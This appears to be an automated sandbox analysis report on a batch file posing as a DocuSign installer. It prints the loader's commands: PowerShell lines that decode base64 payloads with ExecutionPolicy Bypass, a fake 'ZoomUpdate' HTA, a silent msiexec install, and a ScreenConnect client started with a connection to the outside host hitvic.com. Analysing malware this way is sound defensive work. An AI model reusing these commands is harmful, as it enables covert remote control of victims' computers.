Overview

overview

8

Static

static

1

DocuSign_Setup.bat

windows10-2004-x64

8

DocuSign_Setup.bat

windows11-ltsc_2024-x64

8

Analysis

  • max time kernel
    149s
  • max time network
    135s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    22/07/2026, 06:24

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    DocuSign_Setup.bat
  • Size 4.2MB
  • Sample260722-g6ctlsbe64
  • SHA256 eecc25f30fc6da9f9705289a6b4b7663e8670378a5910296c7159ddd635c1b8e
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10
defense_evasiondiscoveryexecutionpersistenceprivilege_escalationrevoked_codesign

Malware Config

Signatures

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

    persistence
  • Signed with revoked ConnectWise certificate 2 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

    revoked_codesign
  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

    persistenceprivilege_escalation
  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 22 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

    Using powershell.exe command.

    execution
  • Enumerates connected drives 3 TTPs 23 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

    persistenceprivilege_escalation
  • Drops file in System32 directory 3 IoCs
  • Drops file in Program Files directory 19 IoCs
  • Drops file in Windows directory 22 IoCs
  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Kills process with taskkill 1 IoCs
    defense_evasion
  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 37 IoCs
  • Suspicious behavior: EnumeratesProcesses 16 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 14 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\DocuSign_Setup.bat"
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:1400
    • C:\Windows\system32\fltMC.exe
      fltmc
      2⤵
        PID:3328
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -NoLogo -NoProfile -ExecutionPolicy Bypass -Command "$text=[IO.File]::ReadAllText($env:BUNDLE); $name=[Regex]::Escape($env:SECTION); $match=[Regex]::Match($text,'(?s)###'+$name+'_BEGIN###\s*(.*?)\s*###'+$name+'_END###'); if(-not $match.Success){exit 2}; $data=($match.Groups[1].Value -replace '\s',''); [IO.File]::WriteAllBytes($env:OUTFILE,[Convert]::FromBase64String($data))"
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4468
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -NoLogo -NoProfile -ExecutionPolicy Bypass -Command "$text=[IO.File]::ReadAllText($env:BUNDLE); $name=[Regex]::Escape($env:SECTION); $match=[Regex]::Match($text,'(?s)###'+$name+'_BEGIN###\s*(.*?)\s*###'+$name+'_END###'); if(-not $match.Success){exit 2}; $data=($match.Groups[1].Value -replace '\s',''); [IO.File]::WriteAllBytes($env:OUTFILE,[Convert]::FromBase64String($data))"
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4924
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -NoLogo -NoProfile -ExecutionPolicy Bypass -Command "$text=[IO.File]::ReadAllText($env:BUNDLE); $name=[Regex]::Escape($env:SECTION); $match=[Regex]::Match($text,'(?s)###'+$name+'_BEGIN###\s*(.*?)\s*###'+$name+'_END###'); if(-not $match.Success){exit 2}; $data=($match.Groups[1].Value -replace '\s',''); [IO.File]::WriteAllBytes($env:OUTFILE,[Convert]::FromBase64String($data))"
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3344
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -NoLogo -NoProfile -ExecutionPolicy Bypass -Command "$p=Start-Process -FilePath 'mshta.exe' -ArgumentList ('"'+$env:PROGRESS_HTA+'"') -PassThru; Set-Content -LiteralPath $env:PIDFILE -Value $p.Id"
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:3264
        • C:\Windows\system32\mshta.exe
          "C:\Windows\system32\mshta.exe" C:\Users\Admin\AppData\Local\Temp\ZoomUpdate_94217526\setup.hta
          3⤵
            PID:4472
        • C:\Windows\system32\msiexec.exe
          msiexec.exe /i "C:\Users\Admin\AppData\Local\Temp\ZoomUpdate_94217526\setup.msi" /quiet /norestart
          2⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:1824
        • C:\Windows\system32\taskkill.exe
          taskkill /PID 4472 /F
          2⤵
          • Kills process with taskkill
          PID:2732
        • C:\Windows\system32\mshta.exe
          mshta.exe "C:\Users\Admin\AppData\Local\Temp\ZoomUpdate_94217526\done.hta"
          2⤵
            PID:3628
        • C:\Windows\system32\msiexec.exe
          C:\Windows\system32\msiexec.exe /V
          1⤵
          • Enumerates connected drives
          • Boot or Logon Autostart Execution: Authentication Package
          • Drops file in Program Files directory
          • Drops file in Windows directory
          • Modifies data under HKEY_USERS
          • Modifies registry class
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:472
          • C:\Windows\syswow64\MsiExec.exe
            C:\Windows\syswow64\MsiExec.exe -Embedding 27498764790EB3162A4EAD87D5740CEC
            2⤵
            • Loads dropped DLL
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:3012
            • C:\Windows\SysWOW64\rundll32.exe
              rundll32.exe "C:\Windows\Installer\MSI6A2.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240650109 2 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
              3⤵
              • Loads dropped DLL
              • Drops file in Windows directory
              • System Location Discovery: System Language Discovery
              PID:3760
          • C:\Windows\syswow64\MsiExec.exe
            C:\Windows\syswow64\MsiExec.exe -Embedding BE90CDA56115705877069C9CC29B173B E Global\MSI0000
            2⤵
            • Loads dropped DLL
            • Drops file in Windows directory
            • System Location Discovery: System Language Discovery
            • Suspicious use of AdjustPrivilegeToken
            PID:932
        • C:\Program Files (x86)\ScreenConnect Client (83d24a73c08b60a4)\ScreenConnect.ClientService.exe
          "C:\Program Files (x86)\ScreenConnect Client (83d24a73c08b60a4)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=hitvic.com&p=8041&s=6d6237bc-c3f5-4f36-9e95-ec693cb82f34&k=BgIAAACkAABSU0ExAAgAAAEAAQCBAB8%2b5bE96Ov03%2fyYI%2bh6CdvDjSoP3rZ0O8eGyyGejMlUXXUIgXd8Y54vKuUdsJHIpzIMVwXZdutVJln%2bjJ76ecNqgkW6xRZI%2f1l7wA0ykXhGs5ysOdajQMOGP1b6gFIr6GunB7fjcS4m6%2fWjnJiS4MjCLc1l8cXViYJ%2babkI73PgoAzjOE2bb5%2bptS4KXmanWWOc0hd155TtQVAUNX6tQmnw01wFo0lnzUQma%2fE5PGiGYcZVDM0z3FGRBukHTVSZk0qON348AXsPyXY1f%2bpmbPyjVpuQVbinfCgCBPndvORdgs43QFhDc9GKR%2fONwMKcLYObXCAvra4Fza1zpUjN"
          1⤵
          • Sets service image path in registry
          • Executes dropped EXE
          • Loads dropped DLL
          • Drops file in System32 directory
          • System Location Discovery: System Language Discovery
          • Modifies data under HKEY_USERS
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:1152
          • C:\Program Files (x86)\ScreenConnect Client (83d24a73c08b60a4)\ScreenConnect.WindowsClient.exe
            "C:\Program Files (x86)\ScreenConnect Client (83d24a73c08b60a4)\ScreenConnect.WindowsClient.exe" "RunRole" "ea312644-b749-4695-9a8f-6ea94287673e" "User"
            2⤵
            • Executes dropped EXE
            PID:4208
          • C:\Program Files (x86)\ScreenConnect Client (83d24a73c08b60a4)\ScreenConnect.WindowsClient.exe
            "C:\Program Files (x86)\ScreenConnect Client (83d24a73c08b60a4)\ScreenConnect.WindowsClient.exe" "RunRole" "cb0c5a4b-169f-4652-bf78-eb636f92f5d2" "System"
            2⤵
            • Executes dropped EXE
            • Drops file in System32 directory
            • Checks processor information in registry
            • Modifies data under HKEY_USERS
            PID:4768

        Network

              MITRE ATT&CK Enterprise v16

              Reconnaissance

              Resource Development

              Initial Access

              Execution

              Command and Scripting Interpreter

              2
              T1059

              PowerShell

              1
              T1059.001

              Windows Command Shell

              1
              T1059.003

              Persistence

              Boot or Logon Autostart Execution

              2
              T1547

              Authentication Package

              1
              T1547.002

              Registry Run Keys / Startup Folder

              1
              T1547.001

              Create or Modify System Process

              1
              T1543

              Windows Service

              1
              T1543.003

              Event Triggered Execution

              1
              T1546

              Component Object Model Hijacking

              1
              T1546.015

              Privilege Escalation

              Boot or Logon Autostart Execution

              2
              T1547

              Authentication Package

              1
              T1547.002

              Registry Run Keys / Startup Folder

              1
              T1547.001

              Create or Modify System Process

              1
              T1543

              Windows Service

              1
              T1543.003

              Event Triggered Execution

              1
              T1546

              Component Object Model Hijacking

              1
              T1546.015

              Defense Evasion

              Modify Registry

              1
              T1112

              Credential Access

              Discovery

              Peripheral Device Discovery

              1
              T1120

              Query Registry

              2
              T1012

              System Information Discovery

              2
              T1082

              System Location Discovery

              1
              T1614

              System Language Discovery

              1
              T1614.001

              Lateral Movement

              Collection

              Command and Control

              Exfiltration

              Impact

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              e5804c1.rbs
              • Path C:\Config.Msi\e5804c1.rbs
              • Size 214KB
              • SHA256 f516a4e7ae62c6fdc7f002a2ddc5a97a691f2b9785ae2f582bf92fd3b63f58ab
              • MD5 SHA1 SHA512 SSDEEP TLSH
              Submit Download

              Client.Override.en-US.resources
              • Path C:\Program Files (x86)\ScreenConnect Client (83d24a73c08b60a4)\Client.Override.en-US.resources
              • Size 343B
              • SHA256 12191483feb8db21c4b7ecd039be74de31710326b9ff1466d9bd6f53329259f6
              • MD5 SHA1 SHA512 TLSH
              Submit Download

              Client.Override.resources
              • Path C:\Program Files (x86)\ScreenConnect Client (83d24a73c08b60a4)\Client.Override.resources
              • Size 54KB
              • SHA256 fff90d5860f3d27239141e787e47a6dc85a04df81622421d91e66f75e7d04762
              • MD5 SHA1 SHA512 SSDEEP TLSH
              Submit Download

              Client.en-US.resources
              • Path C:\Program Files (x86)\ScreenConnect Client (83d24a73c08b60a4)\Client.en-US.resources
              • Size 47KB
              • SHA256 a023527e773b886fb64c5f31de484f659c5816cf4ab696be7c98a3ea4de57d41
              • MD5 SHA1 SHA512 SSDEEP TLSH
              Submit Download

              Client.resources
              • Path C:\Program Files (x86)\ScreenConnect Client (83d24a73c08b60a4)\Client.resources
              • Size 26KB
              • SHA256 de185ee5d433e6cfbb2e5fcc903dbd60cc833a3ca5299f2862b253a41e7aa08c
              • MD5 SHA1 SHA512 SSDEEP TLSH
              Submit Download

              ScreenConnect.Client.dll
              • Path C:\Program Files (x86)\ScreenConnect Client (83d24a73c08b60a4)\ScreenConnect.Client.dll
              • Size 192KB
              • SHA256 dd75f431bc27ae5cd60eabf0d705de194c72aa7c6897a7789981df620be5cc41
              • MD5 SHA1 SHA512 SSDEEP TLSH
              Submit Download

              ScreenConnect.ClientService.dll
              • Path C:\Program Files (x86)\ScreenConnect Client (83d24a73c08b60a4)\ScreenConnect.ClientService.dll
              • Size 67KB
              • SHA256 228c0f9be331a5fbce6711f6c72d7660419d7746da604168d6f4ad9a492b00aa
              • MD5 SHA1 SHA512 SSDEEP TLSH
              Submit Download

              ScreenConnect.ClientService.exe
              • Path C:\Program Files (x86)\ScreenConnect Client (83d24a73c08b60a4)\ScreenConnect.ClientService.exe
              • Size 93KB
              • SHA256 8c7e1feb403442d3bc11a1945a9e0b3651a5095ca3acabe3f608da801dc8c2b7
              • MD5 SHA1 SHA512 SSDEEP TLSH
              Submit Download

              ScreenConnect.WindowsAuthenticationPackage.dll
              • Path C:\Program Files (x86)\ScreenConnect Client (83d24a73c08b60a4)\ScreenConnect.WindowsAuthenticationPackage.dll
              • Size 254KB
              • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
              • MD5 SHA1 SHA512 SSDEEP TLSH
              Submit Download

              ScreenConnect.WindowsClient.exe
              • Path C:\Program Files (x86)\ScreenConnect Client (83d24a73c08b60a4)\ScreenConnect.WindowsClient.exe
              • Size 595KB
              • SHA256 da7697707b476046197af8d35c5a1df3cebd7153b7b48aab1079a6375bdca74a
              • MD5 SHA1 SHA512 SSDEEP TLSH
              Submit Download

              ScreenConnect.WindowsClient.exe.config
              • Path C:\Program Files (x86)\ScreenConnect Client (83d24a73c08b60a4)\ScreenConnect.WindowsClient.exe.config
              • Size 266B
              • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
              • MD5 SHA1 SHA512 TLSH
              Submit Download

              ScreenConnect.WindowsCredentialProvider.dll
              • Path C:\Program Files (x86)\ScreenConnect Client (83d24a73c08b60a4)\ScreenConnect.WindowsCredentialProvider.dll
              • Size 837KB
              • SHA256 36ad3b4858ee84fd2a73522a9ad25d177f492a65e1cbc6630169dc820dc2b63d
              • MD5 SHA1 SHA512 SSDEEP TLSH
              Submit Download

              app.config
              • Path C:\Program Files (x86)\ScreenConnect Client (83d24a73c08b60a4)\app.config
              • Size 2KB
              • SHA256 ae5fc34ccd25c235997ed61a6a7b00440f171baee6fb0d638073744858d8ea2e
              • MD5 SHA1 SHA512 TLSH
              Submit Download

              system.config
              • Path C:\Program Files (x86)\ScreenConnect Client (83d24a73c08b60a4)\system.config
              • Size 938B
              • SHA256 c45a2fc2068cf6c5ba62e997ab1c012c89ab99b2540675934ca345deb8e14121
              • MD5 SHA1 SHA512 TLSH
              Submit Download

              powershell.exe.log
              • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
              • Size 2KB
              • SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
              • MD5 SHA1 SHA512 TLSH
              Submit Download

              StartupProfileData-NonInteractive
              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              • Size 944B
              • SHA256 9438998f2247ff2ec82b8638429d7daf356804ad93d6169856d687cb844e7038
              • MD5 SHA1 SHA512 TLSH
              Submit Download

              StartupProfileData-NonInteractive
              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              • Size 944B
              • SHA256 f7308f111e3910da5c34c4d06d78d692f44419f848f5bf886fd466d5a96ad014
              • MD5 SHA1 SHA512 TLSH
              Submit Download

              StartupProfileData-NonInteractive
              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              • Size 944B
              • SHA256 7584152ef93be4dc497db509c723f20a1fd09d69df02d62c897eefda6bf4c737
              • MD5 SHA1 SHA512 TLSH
              Submit Download

              done.hta
              • Path C:\Users\Admin\AppData\Local\Temp\ZoomUpdate_94217526\done.hta
              • Size 13KB
              • SHA256 a4e949f73439df0ed68430f65fa88c81df735009fe4fcfb4cdc2cd11847bee4e
              • MD5 SHA1 SHA512 SSDEEP TLSH
              Submit Download

              hta.pid
              • Path C:\Users\Admin\AppData\Local\Temp\ZoomUpdate_94217526\hta.pid
              • Size 6B
              • SHA256 73eb5b8d4be7f9cc891b1442746819bad90a4f2eb331c5595601ffa891a3fa27
              • MD5 SHA1 SHA512
              Submit Download

              setup.hta
              • Path C:\Users\Admin\AppData\Local\Temp\ZoomUpdate_94217526\setup.hta
              • Size 13KB
              • SHA256 085b09f972cb5cc8c0ea1bcfad388f9c716ab7555ab6d0a663f57324ddde578e
              • MD5 SHA1 SHA512 SSDEEP TLSH
              Submit Download

              setup.msi
              • Path C:\Users\Admin\AppData\Local\Temp\ZoomUpdate_94217526\setup.msi
              • Size 3.0MB
              • SHA256 a5a2a21bd4bb93a327b980322b15ce046d6527787133c7d352db1f3a6a6f908d
              • MD5 SHA1 SHA512 SSDEEP TLSH
              Submit Download

              __PSScriptPolicyTest_s0co1z3g.nvh.ps1
              • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_s0co1z3g.nvh.ps1
              • Size 60B
              • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
              • MD5 SHA1 SHA512 TLSH
              Submit Download

              MSI6A2.tmp
              • Path C:\Windows\Installer\MSI6A2.tmp
              • Size 1.0MB
              • SHA256 a5c116a5746888cdd47fae8269e5d5cc1fa51617744c50256619c75e540034e0
              • MD5 SHA1 SHA512 SSDEEP TLSH
              Submit Download

              Microsoft.Deployment.WindowsInstaller.dll
              • Path C:\Windows\Installer\MSI6A2.tmp-\Microsoft.Deployment.WindowsInstaller.dll
              • Size 172KB
              • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
              • MD5 SHA1 SHA512 SSDEEP TLSH
              Submit Download

              ScreenConnect.Core.dll
              • Path C:\Windows\Installer\MSI6A2.tmp-\ScreenConnect.Core.dll
              • Size 539KB
              • SHA256 1e9eacd3c680b18f3bfee12a835a49d63fed76056aedb2b2ef312999eb6b4033
              • MD5 SHA1 SHA512 SSDEEP TLSH
              Submit Download

              ScreenConnect.InstallerActions.dll
              • Path C:\Windows\Installer\MSI6A2.tmp-\ScreenConnect.InstallerActions.dll
              • Size 11KB
              • SHA256 af7b515d5ea17e6811f7fd4e0fe76b7bbc6c2ff4e58dc005c86fa30d44f184ca
              • MD5 SHA1 SHA512 SSDEEP TLSH
              Submit Download

              ScreenConnect.Windows.dll
              • Path C:\Windows\Installer\MSI6A2.tmp-\ScreenConnect.Windows.dll
              • Size 1.6MB
              • SHA256 f6e77233f0995581f3171ee92c5cab5b8052d177d333a4999e16e696616739a6
              • MD5 SHA1 SHA512 SSDEEP TLSH
              Submit Download

              MSIC32.tmp
              • Path C:\Windows\Installer\MSIC32.tmp
              • Size 202KB
              • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
              • MD5 SHA1 SHA512 SSDEEP TLSH
              Submit Download

              memory/1152-122-0x00000000017C0000-0x00000000017D8000-memory.dmp
              Download

              memory/1152-133-0x0000000003E50000-0x0000000003EA0000-memory.dmp
              Download

              memory/1152-137-0x0000000003EA0000-0x0000000003ED6000-memory.dmp
              Download

              memory/1152-143-0x0000000004150000-0x00000000041E2000-memory.dmp
              Download

              memory/1152-152-0x0000000004330000-0x0000000004405000-memory.dmp
              Download

              memory/1152-148-0x00000000040B0000-0x00000000040F1000-memory.dmp
              Download

              memory/3760-81-0x00000000053A0000-0x000000000554C000-memory.dmp
              Download

              memory/3760-69-0x0000000005010000-0x000000000503E000-memory.dmp
              Download

              memory/3760-73-0x0000000004FF0000-0x0000000004FFA000-memory.dmp
              Download

              memory/3760-82-0x0000000005B00000-0x00000000060A4000-memory.dmp
              Download

              memory/3760-77-0x0000000005160000-0x00000000051EE000-memory.dmp
              Download

              memory/4208-167-0x000000001AF50000-0x000000001AFDE000-memory.dmp
              Download

              memory/4208-165-0x0000000000020000-0x00000000000B8000-memory.dmp
              Download

              memory/4208-166-0x0000000002280000-0x00000000022B6000-memory.dmp
              Download

              memory/4208-168-0x000000001B190000-0x000000001B33C000-memory.dmp
              Download

              memory/4208-171-0x000000001C3F0000-0x000000001C576000-memory.dmp
              Download

              memory/4208-174-0x00000000022C0000-0x00000000022D8000-memory.dmp
              Download

              memory/4208-173-0x0000000000980000-0x0000000000998000-memory.dmp
              Download

              memory/4468-2-0x000001E7A14D0000-0x000001E7A14F2000-memory.dmp
              Download

              memory/4468-1-0x000001E7B9620000-0x000001E7B9630000-memory.dmp
              Download

              memory/4468-0-0x000001E7B9620000-0x000001E7B9630000-memory.dmp
              Download

              memory/4924-14-0x000001DE9FFE0000-0x000001DE9FFF0000-memory.dmp
              Download